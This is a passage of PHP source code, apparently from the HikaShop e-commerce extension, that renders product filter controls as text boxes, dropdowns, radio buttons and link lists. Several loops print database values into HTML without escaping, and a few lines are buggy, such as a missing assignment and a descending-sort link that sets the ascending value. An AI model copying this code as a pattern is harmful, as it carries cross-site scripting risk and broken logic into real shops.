if(isset($filter->filter_options['information_unit'])){
			$formatVal=$formatVal.$filter->filter_options['information_unit'];
			if($key!=0){ 
$oldVal=$oldVal.$filter->filter_options['information_unit'];
}
		}
		$array=array();
		$array[]=$formatVal;
		$array[]=$oldVal;
		return $array;
	}

	function checkCurrency($filter){
		$currency = hikashop_getCurrency();
		if($filter->filter_data=='price' &&
!in_array($currency, $filter->filter_options['currencies'])){
			return false;
		}
		return true;
	}
}

class hikashopTextClass extends hikashopFilterTypeClass{

	function display($filter, $divName, &$parent, $datas=''){
		$html='';
		$name='';
		$selected=parent::display($filter, $divName, $parent);

		if(!is_array($selected)){
			$selected = array($selected);
		}

		if(!empty($selected)){
			$name=htmlentities($selected[0], ENT_COMPAT, 'UTF-8');
		}

		if($filter->filter_deletable && ( isset($selected[0])
&& $selected[0]!='none' &&
!in_array($selected[0],array(" ",'')))){
			$html=parent::displayInList($filter, $divName, $selected);
			return $html;
		}

		$style='';
		if($filter->filter_options['textBoxSize']){
			$style='style="width: 90%;"';
		}

		$onBlur='';
		if($filter->filter_direct_application){
			$onBlur='onblur="document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();"';
		}


		if($filter->filter_options['title_position']=='inside'){
			$onClick='';
			if(empty($name)){
				$name=$filter->filter_name;
				$onClick=' onclick="this.value=\'\';"';
			}
			$html='<input '.$style.'
name="filter_'.$filter->filter_namekey.'"
'.$onBlur.' style="width:90%;" type="text"
'.$onClick.'
id="filter_text_'.$filter->filter_namekey.'"
value="'.$name.'"/>';
		}else{
			$html = '<input '.$style.'
name="filter_'.$filter->filter_namekey.'"
'.$onBlur.' type="text"
id="filter_text_'.$filter->filter_name.'"
value="'.$name.'">';
		}



		$html=parent::titlePosition($filter, $html);
		return $html;
	}
}

class hikashopSingledropdownClass extends hikashopFilterTypeClass{

	function display($filter, $divName, &$parent, $datas='',
$multiple='', $tab=''){
		$selected=parent::display($filter, $divName, $parent);
		if(!is_array($selected)){
			$selected=array($selected);
		}
		if(!($filter->filter_dynamic)){
			$datas='';
		}

		if(!empty($selected)){
			if($filter->filter_deletable &&
$selected[0]!=$filter->filter_namekey &&
$selected[0]!='none' && ( isset($selected[0]) &&
!in_array($selected[0],array(" ",'')))){
				$html=parent::displayInList($filter, $divName, $selected, $tab);
				return $html;
			}
		}

		$onClick='';
		if($filter->filter_direct_application){
			$onClick='onchange="document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();"';
		}

		$html='';
		if(!empty($tab)){
			$html.= '<input type="hidden"
name="filter_'.$filter->filter_namekey.'_'.$divName.'"
value=" "/>';
		}
		$html.='<SELECT '.$multiple.$onClick.'
size='.$filter->filter_options['filter_size'].'
name="filter_'.$filter->filter_namekey.$tab.'"
id="filter_'.$filter->filter_namekey.'_'.$divName.$tab.'">';
		if($filter->filter_options['title_position']=='inside'
&& $filter->filter_data=='sort'){
			$html.='<OPTION
VALUE="none">'.$filter->filter_name.'</OPTION>';
		}else if($filter->filter_data!='sort'){
			$html.='<OPTION
VALUE="'.$filter->filter_namekey.'">'.JText::_(
'HIKA_ALL' ).'</OPTION>';
		}

		if($filter->filter_data=='category'){
			$categories_name=parent::getCategories($filter, $datas);
			if(!empty($categories_name)){
				foreach($categories_name as $cat){
					$selectedItem='';
					if(!empty($selected) && in_array($cat->category_id,
$selected)){
						$selectedItem='selected="selected"';
					}
					$html.='<OPTION '.$onClick.'
'.$selectedItem.'
value="'.$cat->category_id.'">'.$cat->category_name.'</OPTION>';
				}
			}
		}

		if(($filter->filter_data=='price' ||
$filter->filter_data=='information' ||
$filter->filter_data=='custom_field') &&
!empty($filter->filter_value)){
			if(parent::checkCurrency($filter)==false){ return false;}
			$size=count($filter->filter_value);
			if($size){
				foreach($filter->filter_value as $key => $value){
					$selectedItem='';
					list($formatVal, $oldVal)=parent::formatUnits($filter, $key, $value);
					if($key==0){
						if(!empty($selected) && in_array('::'.$value,
$selected)){
							$selectedItem='selected="selected"';
						}
						if(empty($filter->filter_options['defined_limits'])){
							$html.='<OPTION '.$selectedItem.'
value="::'.$value.'">'.JText::sprintf('X_AND_INFERIOR',$formatVal).'</OPTION>';
						}
					}else {
						if(!empty($selected) &&
in_array($filter->filter_value[$key-1].'::'.$value,
$selected)){
							$selectedItem='selected="selected"';
						}
						$html.='<OPTION '.$selectedItem.'
value="'.$filter->filter_value[$key-1].'::'.$value.'">'.JText::sprintf('FROM_X_TO_Y',
$oldVal, $formatVal ).'</OPTION>';
					}
					if($key==$size-1){
						$selectedItem='';
						if(!empty($selected) && in_array($value.'::',
$selected)){
							$selectedItem='selected="selected"';
						}
						if(empty($filter->filter_options['defined_limits'])){
							$html.='<OPTION '.$selectedItem.'
value="'.$value.'::">'.JText::sprintf('X_AND_SUPERIOR',
$formatVal ).'</OPTION>';
						}
					}
				}
			}
		}

		if($filter->filter_data=='characteristic'){
			$characteristic_values=parent::getCharacteristics($filter, $datas);
			if(!empty($characteristic_values)){
				foreach($characteristic_values as $val){
					$selectedItem='';
					if(!empty($selected) && in_array($val->characteristic_id,
$selected)){
						$selectedItem='selected="selected"';
					}
					$html.='<OPTION '.$selectedItem.'
value="'.$val->characteristic_id.'">'.$val->characteristic_value.'</OPTION>';
				}
			}
		}

		if($filter->filter_data=='manufacturers'){
			$manufacturers=parent::getManufacturers($filter, $datas);
			if(!empty($manufacturers)){
				foreach($manufacturers as $manufacturer){
					$selectedItem='';
					if(!empty($selected) &&
in_array($manufacturer->category_id, $selected)){
						$selectedItem='selected="selected"';
					}
					$html.='<OPTION '.$selectedItem.'
name="'.$filter->filter_data.'"
value="'.$manufacturer->category_id.'">'.$manufacturer->category_name.'</OPTION>';
				}
			}
		}

		if($filter->filter_data=='custom_field'){
			$field=parent::getFields($filter, $datas);
			if(isset($field->field_value) &&
is_array($field->field_value)){
				foreach($field->field_value as $val){
					$selectedItem='';
					if(!empty($selected) && in_array($val[0], $selected)){
						$selectedItem='selected="selected"';
					}
					$html.='<OPTION '.$selectedItem.'
name="'.$filter->filter_data.'"
value="'.$val[0].'">'.JText::_($val[1]).'</OPTION>';
				}
			}
		}

		if($filter->filter_data=='sort'){
			if($filter->filter_options['title_position']!='inside'){
				$html.='<OPTION
value="none">'.JText::_('HIKA_NONE'
).'</OPTION>';
			}

			$null=null;
			$fieldsClass = hikashop_get('class.field');
			$fields=$fieldsClass->getFields('frontcomp',$null,'product');

			if(!is_array($filter->filter_options['sort_by'])){
				$temp = $filter->filter_options['sort_by'];
				$filter->filter_options['sort_by'] = array();
				$filter->filter_options['sort_by'][] = $temp;
			}

			foreach($filter->filter_options['sort_by'] as $theType){
				$selectedItem1=''; $selectedItem2='';
				if(!empty($selected)){
					if($selected[0]==$theType.'--lth'){
						$selectedItem1='selected="selected"';
					}
					if($selected[0]==$theType.'--htl'){
						$selectedItem2='selected="selected"';
					}
				}

				if(isset($fields[$theType])){
$typeName=$fields[$theType]->field_realname; }
				else if($theType=='b.product_name'){ $typeName=
JText::_('PRODUCT_NAME'); }
				else if($theType=='price'){ $typeName=
JText::_('PRICE'); }
				else if($theType=='b.product_average_score'){ $typeName=
JText::_('RATING'); }
				else if($theType=='b.product_created' ||
$theType=='b.product_modified'){ $typeName=
JText::_('RECENT'); }
				else if($theType=='b.product_sales'){ $typeName=
JText::_('SALES'); }
				else if($theType=='b.product_hit'){ $typeName=
JText::_('CLICKS'); }
				else{ $typeName=JText::_('PRODUCT_'.$theType);	}

				if(JText::_('SORT_ASCENDING_'.$typeName)!='SORT_ASCENDING_'.$typeName){
$asc_name=JText::_('SORT_ASCENDING_'.$typeName); }
				else{ $asc_name=JText::sprintf('SORT_ASCENDING', $typeName);
}

				if(JText::_('SORT_DESCENDING_'.$typeName)!='SORT_DESCENDING_'.$typeName){
$desc_name=JText::_('SORT_DESCENDING_'.$typeName); }
				else{ $desc_name=JText::sprintf('SORT_DESCENDING',
$typeName); }

				$html.='<OPTION '.$selectedItem1.'
value="'.$theType.'--lth">'.$asc_name.'</OPTION>';
				$html.='<OPTION '.$selectedItem2.'
value="'.$theType.'--htl">'.$desc_name.'</OPTION>';
			}
		}

		if($filter->filter_options['title_position']!='inside'){
			$html=parent::titlePosition($filter, $html);
		}
		$html.='</SELECT>';
		return $html;
	}

}

class hikashopRadioClass extends hikashopFilterTypeClass{

	function display($filter, $divName, &$parent, $datas='',
$type='radio', $tab=''){
		$selected=parent::display($filter, $divName, $parent);

		if(!($filter->filter_dynamic)){
			$datas='';
		}
		if(!is_array($selected)){
			$selected = array($selected);
		}

		if($filter->filter_deletable && isset($selected[0]) &&
$selected[0]!='none' &&
!in_array($selected[0],array(" ",''))){
			$html=parent::displayInList($filter, $divName, $selected, $tab);
			return $html;
		}

		$onClick='';
		if($filter->filter_direct_application){
			$onClick='onchange="document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();"';
		}

		$html='';
		$br='';
		if(isset($filter->filter_options['button_align']) &&
$filter->filter_options['button_align']==0){
$br='<br/>'; }
		if(!empty($tab)){
			$html.= '<input type="hidden"
name="filter_'.$filter->filter_namekey.'" 
id="filter_'.$filter->filter_namekey.'_'.$divName.'"
value=" "/>';
		}
		if($filter->filter_data=='category'){
			$categories_name=parent::getCategories($filter, $datas);
			if(!empty($categories_name)){
				foreach($categories_name as $cat){
					$checked='';$deleteButton='';
					if(!empty($selected) && is_array($selected) &&
in_array($cat->category_id, $selected)){
						$checked='checked="checked"';
						if($type=='radio'){ $deleteButton=' 
'.parent::getDeleteButton($filter, $divName, '', $html,
'', true,
'filter_'.$filter->filter_id.'_'.$cat->category_id.'_'.$divName);
}
					}
					$html.='<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked.'
name="filter_'.$filter->filter_namekey.$tab.'" 
type="'.$type.'"
value="'.$cat->category_id.'"
id="filter_'.$filter->filter_id.'_'.$cat->category_id.'_'.$divName.'"/><label
for="filter_'.$filter->filter_id.'_'.$cat->category_id.'_'.$divName.'">'.$cat->category_name.'</label>'.$deleteButton.'</span>'.$br;
				}
			}
		}

		if(($filter->filter_data=='price' ||
$filter->filter_data=='information' ||
$filter->filter_data=='custom_field') &&
!empty($filter->filter_value)){
			if(parent::checkCurrency($filter)==false){ return false;}
			$size=count($filter->filter_value);
			if($size){
				foreach($filter->filter_value as $key => $value){
					$checked=''; $deleteButton='';
					if($key>0){ $previousVal=$filter->filter_value[$key-1];}
					list($formatVal, $oldVal)=parent::formatUnits($filter, $key, $value);
					if($key==0){
						if(!empty($selected) && is_array($selected) &&
in_array('::'.$value, $selected)){
							$checked='checked="checked"';
							if($type=='radio'){ $deleteButton=' 
'.parent::getDeleteButton($filter, $divName, '', $html,
'', true,
'filter_'.$filter->filter_id.'_'.$value.''
); }
						}
						$html.='<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked.'
type="'.$type.'"
name="filter_'.$filter->filter_namekey.''.$tab.'"
value="::'.$value.'"
id="filter_'.$filter->filter_id.'_'.$value.'"/><label
for="filter_'.$filter->filter_id.'_'.$value.'">'.JText::sprintf('X_AND_INFERIOR',$formatVal).'</label>'.$deleteButton.'</span>'.$br;
						parent::getDeleteButton($filter, $divName, '', $html,
true);
					}else{
						if(!empty($selected) && is_array($selected) &&
in_array($filter->filter_value[$key-1].'::'.$value,
$selected)){
							$checked='checked="checked"';
							if($type=='radio'){ $deleteButton=' 
'.parent::getDeleteButton($filter, $divName, '', $html,
'', true,
'filter_'.$filter->filter_id.'_'.$value.''
); }
						}
						$html.='<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked.'
type="'.$type.'"
name="filter_'.$filter->filter_namekey.''.$tab.'"
value="'.$filter->filter_value[$key-1].'::'.$value.'"
id="filter_'.$filter->filter_id.'_'.$value.'"/><label
for="filter_'.$filter->filter_id.'_'.$value.'">'.JText::sprintf('FROM_X_TO_Y',
$oldVal, $formatVal
).'</label>'.$deleteButton.'</span>'.$br;
					}
					if($key==$size-1){
						$checked=''; $deleteButton='';
						if(!empty($selected) && is_array($selected) &&
in_array($value.'::', $selected)){
							$checked='checked="checked"';
							if($type=='radio'){ $deleteButton=' 
'.parent::getDeleteButton($filter, $divName, '', $html,
'', true,
'filter_'.$filter->filter_id.'_'.$value.'');
}
						}
						$html.='<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked.'
type="'.$type.'"
name="filter_'.$filter->filter_namekey.''.$tab.'"
value="'.$value.'::"
id="filter_'.$filter->filter_id.'_'.$value.'"/><label
for="filter_'.$filter->filter_id.'_'.$value.'">'.JText::sprintf('X_AND_SUPERIOR',
$formatVal
).'</label>'.$deleteButton.'</span>'.$br;
						parent::getDeleteButton($filter, $divName, '', $html,
true);
					}
				}
			}
		}

		if($filter->filter_data=='characteristic'){
			$characteristic_values=parent::getCharacteristics($filter, $datas);
			if(!empty($characteristic_values)){
				foreach($characteristic_values as $val){
					$checked=''; $deleteButton='';
					if(!empty($selected) && is_array($selected) &&
in_array($val->characteristic_id, $selected)){
						$checked='checked="checked"';
						if($type=='radio'){ $deleteButton=' 
'.parent::getDeleteButton($filter, $divName, '', $html,
'', true,
'filter_'.$filter->filter_id.'_'.$val->characteristic_id.'_'.$divName);
}
					}
					$html.='<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked.'
type="'.$type.'"
name="filter_'.$filter->filter_namekey.$tab.'"
value="'.$val->characteristic_id.'"
id="filter_'.$filter->filter_id.'_'.$val->characteristic_id.'_'.$divName.'"/><label
for="filter_'.$filter->filter_id.'_'.$val->characteristic_id.'_'.$divName.'">'.$val->characteristic_value.'</label>'.$deleteButton.'</span>'.$br;
				}
			}
		}

		if($filter->filter_data=='manufacturers'){
			$manufacturers=parent::getManufacturers($filter, $datas);
			if(!empty($manufacturers)){
				foreach($manufacturers as $manufacturer){
					$checked=''; $deleteButton='';
					if(!empty($selected) && is_array($selected) &&
in_array($manufacturer->category_id, $selected)){
						$checked='checked="checked"';
						if($type=='radio'){ $deleteButton=' 
'.parent::getDeleteButton($filter, $divName, '', $html,
'', true,
'filter_'.$filter->filter_id.'_'.$manufacturer->category_id.'_'.$divName);
}
					}
					$html.='<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked.'
type="'.$type.'"
name="filter_'.$filter->filter_namekey.$tab.'"
value="'.$manufacturer->category_id.'"
id="filter_'.$filter->filter_id.'_'.$manufacturer->category_id.'_'.$divName.'"/><label
for="filter_'.$filter->filter_id.'_'.$manufacturer->category_id.'_'.$divName.'">'.$manufacturer->category_name.'</label>'.$deleteButton.'</span>'.$br;
				}
			}
		}

		if($filter->filter_data=='custom_field' &&
empty($filter->filter_value)){
			$field=parent::getFields($filter, $datas);
			if(!empty($field)){
				if(is_array($field->field_value)){
					foreach($field->field_value as $key => $val){
						$checked='';
						$deleteButton='';
						$input='';
						if(!empty($selected) && is_array($selected) &&
in_array($val[0], $selected)){
							$checked='checked="checked"';
							if($type=='radio'){
								$deleteButton='  '.parent::getDeleteButton($filter,
$divName, '', $html, '', true,
'field_'.$filter->filter_id.'_'.$key.'_'.$divName);
							}
						}
						if($type!='hidden') $input = '<INPUT
'.$onClick.' '.$checked.'
type="'.$type.'"
name="filter_'.$filter->filter_namekey.$tab.'"
value='.$val[0].'
id="field_'.$filter->filter_id.'_'.$key.'_'.$divName.'">';
						$html.='<span
class="hikashop_filter_checkbox">'.$input.'<label
for="field_'.$filter->filter_id.'_'.$key.'_'.$divName.'">'.JText::_(JText::_($val[1])).'</label>'.$deleteButton.'</span>'.$br;
					}
				}
			}
		}

		if($filter->filter_data=='sort'){


			$null=null;
			$fieldsClass = hikashop_get('class.field');
			$fields=$fieldsClass->getFields('frontcomp',$null,'product');

			if(!is_array($filter->filter_options['sort_by'])){
					$temp = $filter->filter_options['sort_by'];
					$filter->filter_options['sort_by'] = array();
					$filter->filter_options['sort_by'][] = $temp;
			}
			foreach($filter->filter_options['sort_by'] as $theType){
				$checked1='';
$checked2='';$deleteButton='';
$deleteButton2='';
				if(!empty($selected)){
					if($selected[0]==$theType.'--lth'){
						$checked1='checked="checked"
id="filter_'.$filter->filter_namekey.'_'.$divName.'"';
						if($type=='radio'){ $deleteButton=' 
'.parent::getDeleteButton($filter, $divName, '', $html,
'', true); }
					}
					if($selected[0]==$theType.'--htl'){
						$checked2='checked="checked"
id="filter_'.$filter->filter_namekey.'_'.$divName.'"';
						if($type=='radio'){ $deleteButton2=' 
'.parent::getDeleteButton($filter, $divName, '', $html,
'', true); }
					}
				}

				if(isset($fields[$theType])){
$typeName=$fields[$theType]->field_realname; }
				else if($theType=='b.product_name'){ $typeName=
JText::_('PRODUCT_NAME'); }
				else if($theType=='price'){ $typeName=
JText::_('PRICE'); }
				else if($theType=='b.product_average_score'){ $typeName=
JText::_('RATING'); }
				else if($theType=='b.product_created' ||
$theType=='b.product_modified'){ $typeName=
JText::_('RECENT'); }
				else if($theType=='b.product_sales'){ $typeName=
JText::_('SALES'); }
				else if($theType=='b.product_hit'){ $typeName=
JText::_('CLICKS'); }
				else{ $typeName=JText::_('PRODUCT_'.$theType);	}

				if(JText::_('SORT_ASCENDING_'.$typeName)!='SORT_ASCENDING_'.$typeName){
$asc_name=JText::_('SORT_ASCENDING_'.$typeName); }
				else{ $asc_name=JText::sprintf('SORT_ASCENDING', $typeName);
}

				if(JText::_('SORT_DESCENDING_'.$typeName)!='SORT_DESCENDING_'.$typeName){
$desc_name=JText::_('SORT_DESCENDING_'.$typeName); }
				else{ $desc_name=JText::sprintf('SORT_DESCENDING',
$typeName); }

				$html.='<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked1.'
type="'.$type.'"
name="filter_'.$filter->filter_namekey.$tab.'"
value="'.$theType.'--lth">'.$asc_name.'</label>'.$deleteButton.'</span>'.$br;
				$html.='<span
class="hikashop_filter_checkbox"><INPUT
'.$onClick.' '.$checked2.'
type="'.$type.'"
name="filter_'.$filter->filter_namekey.$tab.'"
value="'.$theType.'--htl">'.$desc_name.'</label>'.$deleteButton2.'</span>'.$br;
			}
		}

		$html.='';
		$html=parent::titlePosition($filter, $html);
		return $html;
	}

}

class hikashopListClass extends hikashopFilterTypeClass{

	function display($filter, $divName, &$parent, $datas=''){
		$selected=parent::display($filter, $divName, $parent);

		if(!($filter->filter_dynamic)){
			$datas='';
		}

		if($filter->filter_deletable &&(is_array($selected) &&
!empty($selected) && $selected[0]!='none' && (
isset($selected[0]) && !in_array($selected[0],array("
",''))))){
			$html=parent::displayInList($filter, $divName, $selected);
			return $html;
		}

		$html='<input type="hidden"
id="filter_'.$filter->filter_namekey.'_'.$divName.'"
 name="filter_'.$filter->filter_namekey.'"
value=""/><ul
class="hikashop_filter_list_style">';

		if($filter->filter_data=='category'){
			$categories_name=parent::getCategories($filter, $datas);
			if(!empty($categories_name)){
				foreach($categories_name as $cat){
					if(!empty($selected) && 
(is_numeric($selected)&&$cat->category_id==$selected)
||(is_array($selected) && in_array($cat->category_id,
$selected))){
						$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.$cat->category_name.'</a>';
						$html.='<a style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">
<img src="'.HIKASHOP_IMAGES.'delete2.png"
/></a></li>';
					 }else{
						$html.'<li><a class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\''.$cat->category_id.'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'.$cat->category_name.'</a></li>';
					}
				}
			}
		}

		if(($filter->filter_data=='price' ||
$filter->filter_data=='information' ||
$filter->filter_data=='custom_field') &&
!empty($filter->filter_value)){
			if(parent::checkCurrency($filter)==false){ return false;}
			$size=count($filter->filter_value);
			if(!empty($size)){
				foreach($filter->filter_value as $key => $value){
					list($formatVal, $oldVal)=parent::formatUnits($filter, $key, $value);
					if($key==0){
						if(!empty($selected) &&  is_array($selected) &&
in_array('::'.$value, $selected)){
					$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::sprintf('X_AND_INFERIOR',$formatVal).'</a>';
							$html.='<a style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">
<img src="'.HIKASHOP_IMAGES.'delete2.png"
/></a></li>';
						}else{
					$html.='<li><a class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'::'.$value.'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'.JText::sprintf('X_AND_INFERIOR',$formatVal).'</a></li>';
						}
					}else{
						if(!empty($selected) &&  is_array($selected) &&
in_array($filter->filter_value[$key-1].'::'.$value,
$selected)){
							$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::sprintf('FROM_X_TO_Y',
$oldVal, $formatVal ).'</a>';
							$html.='<a style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">
<img src="'.HIKASHOP_IMAGES.'delete2.png"
/></a></li>';
						}else{
					$html.='<li><a class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\''.$filter->filter_value[$key-1].'::'.$value.'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'	.JText::sprintf('FROM_X_TO_Y',
$oldVal, $formatVal ).'</a></li>';
						}
					}
					if($key==$size-1){
						if(!empty($selected) &&  is_array($selected) &&
in_array($value.'::', $selected)){
							$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::sprintf('X_AND_SUPERIOR',
$formatVal ).'</a>';
							$html.='<a style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">
<img src="'.HIKASHOP_IMAGES.'delete2.png"
/></a></li>';
						}else{
							$html.='<li><a class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\''.$value.'::\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'.JText::sprintf('X_AND_SUPERIOR',
$formatVal ).'</a></li>';
						}
					}
				}
			}
		}

		if($filter->filter_data=='characteristic'){
			$characteristic_values=parent::getCharacteristics($filter, $datas);
			if(!empty($characteristic_values)){
				foreach($characteristic_values as $val){
					if(!empty($selected) &&  is_array($selected) &&
in_array($val->characteristic_id, $selected)){
						$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.$val->characteristic_value.'</a>';
						$html.='<a style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">
<img src="'.HIKASHOP_IMAGES.'delete2.png"
/></a></li>';
					 }else{
						$html.='<li><a class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\''.$val->characteristic_id.'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'.$val->characteristic_value.'</a></li>';
					}
				}
			}
		}

		if($filter->filter_data=='manufacturers'){
			$manufacturers=parent::getManufacturers($filter, $datas);
			if(!empty($manufacturers)){
				foreach($manufacturers as $manufacturer){
					if(!empty($selected) && is_array($selected) &&
in_array($manufacturer->category_id, $selected)){
						$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.$manufacturer->category_name.'</a>';
						$html.='<a style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">
<img src="'.HIKASHOP_IMAGES.'delete2.png"
/></a></li>';
					 }else{
						$html.='<li><a class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\''.$manufacturer->category_id.'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'.$manufacturer->category_name.'</a></li>';
					 }
				}
			}
		}

		if($filter->filter_data=='custom_field'){
			$field=parent::getFields($filter, $datas);
			if(is_array($field->field_value)){
				foreach($field->field_value as $key => $val){
					if(!empty($selected) && is_array($selected) &&
in_array($val[0], $selected)){
						$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.JText::_($val[1]).'</a>';
						$html.='<a style="cursor:pointer;
text-decoration:none"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">
<img src="'.HIKASHOP_IMAGES.'delete2.png"
/></a></li>';
					 }else{
							$html.='<li><a  class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\''.$val[0].'\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'.JText::_($val[1]).'</a><li>';
					}
				}
			}
		}

		if($filter->filter_data=='sort'){

			$null=null;
			$fieldsClass = hikashop_get('class.field');
			$fields=$fieldsClass->getFields('frontcomp',$null,'product');

			if(!is_array($filter->filter_options['sort_by'])){
					$temp = $filter->filter_options['sort_by'];
					$filter->filter_options['sort_by'] = array();
					$filter->filter_options['sort_by'][] = $temp;
			}
			foreach($filter->filter_options['sort_by'] as $theType){
				$checked1='';
$checked2='';$deleteButton='';
$deleteButton2='';
				if(!empty($selected)){
					if($selected[0]==$theType.'--lth'){
						$checked1='checked="checked"
id="filter_'.$filter->filter_namekey.'_'.$divName.'"';
						$deleteButton='  '.parent::getDeleteButton($filter,
$divName, '', $html, '', true);
					}
					if($selected[0]==$theType.'--htl'){
						$checked2='checked="checked"
id="filter_'.$filter->filter_namekey.'_'.$divName.'"';
						$deleteButton2='  '.parent::getDeleteButton($filter,
$divName, '', $html, '', true);
					}
				}

				if(isset($fields[$theType])){
$typeName=$fields[$theType]->field_realname; }
				else if($theType=='b.product_name'){ $typeName=
JText::_('PRODUCT_NAME'); }
				else if($theType=='price'){ $typeName=
JText::_('PRICE'); }
				else if($theType=='b.product_average_score'){ $typeName=
JText::_('RATING'); }
				else if($theType=='b.product_created' ||
$theType=='b.product_modified'){ $typeName=
JText::_('RECENT'); }
				else if($theType=='b.product_sales'){ $typeName=
JText::_('SALES'); }
				else if($theType=='b.product_hit'){ $typeName=
JText::_('CLICKS'); }
				else{ $typeName=JText::_('PRODUCT_'.$theType);	}

				if(JText::_('SORT_ASCENDING_'.$typeName)!='SORT_ASCENDING_'.$typeName){
$asc_name=JText::_('SORT_ASCENDING_'.$typeName); }
				else{ $asc_name=JText::sprintf('SORT_ASCENDING', $typeName);
}

				if(JText::_('SORT_DESCENDING_'.$typeName)!='SORT_DESCENDING_'.$typeName){
$desc_name=JText::_('SORT_DESCENDING_'.$typeName); }
				else{ $desc_name=JText::sprintf('SORT_DESCENDING',
$typeName); }

				if(!empty($checked1)){
					$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.$asc_name.'</a>'.$deleteButton.'</li>';
				}else{
					$html.='<li><a  class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\''.$theType.'--lth\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'.$asc_name.'</a></li>';
				}
				if(!empty($checked2)){
					$html.='<li><a
class="hikashop_filter_list_selected"
style="font-weight:bold">'.$desc_name.'</a>'.$deleteButton2.'<li>';
				}else{
					$html.='<li><a  class="hikashop_filter_list"
onclick="document.getElementById(\'filter_'.$filter->filter_namekey.'_'.$divName.'\').value=\''.$theType.'--lth\';
document.forms[\'hikashop_filter_form_'.$divName.'\'].submit();">'.$desc_name.'</a></li>';
				}
			}


		}

		$html.='</ul>';
		$html=parent::titlePosition($filter, $html);
		return $html;
	}

}

class hikashopCursorClass extends hikashopFilterTypeClass{

	function display($filter, $divName, &$parent, $datas=''){
		$selected=parent::display($filter, $divName, $parent);

		if(!empty($selected) && !empty($selected[0])){
			$values=parent::display($filter, $divName, $parent,
'_values');
			if(!is_array($values)){
				$values = explode(' - ',$values);
			}
			if($filter->filter_deletable && $values[0]!='none'
&& ( isset($values[0]) &&
!in_array($selected[0],array(" ",'')))){
				$html=parent::displayInList($filter, $divName, $values);
				return $html;
			}
		}


		$cursorStep='';
		$html='';
		$cursorMin=0;
		$cursorMax=1000;
		$cursorEffect='';
		$cursorWidth='width:250px;';
		$float='';
		$deleteButton='';

		if($filter->filter_options['cursor_min']!='none'
&& isset($filter->filter_options['cursor_min'])
&&
!in_array($filter->filter_options['cursor_min'],array("
",''))){
			$cursorMin=$filter->filter_options['cursor_min'];
		}
		if(!empty($filter->filter_options['cursor_max'])){
			$cursorMax=$filter->filter_options['cursor_max'];
		}
		$minVal=$cursorMin;
		$maxVal=$cursorMax;
		if(!empty($filter->filter_options['cursor_effect'])){
			$cursorEffect='animate: true,';
		}
		if(!empty($filter->filter_options['cursor_width'])){
			$cursorWidth='width:'.$filter->filter_options['cursor_width'].'px;';
		}
		if(!empty($filter->filter_options['cursor_step'])){
			$cursorStep='step:'.$filter->filter_options['cursor_step'].',';
		}
		if(isset($values)){
			if(is_array($values) && count($values)!=2){
				$data =& $values[0];
			}else{
				$data =& $values;
			}
			if( isset($data) && (is_array($data) ||
!in_array($data,array(" ",'')))){
				if(!is_array($data)){
					$data=explode(' - ',$data);
				}

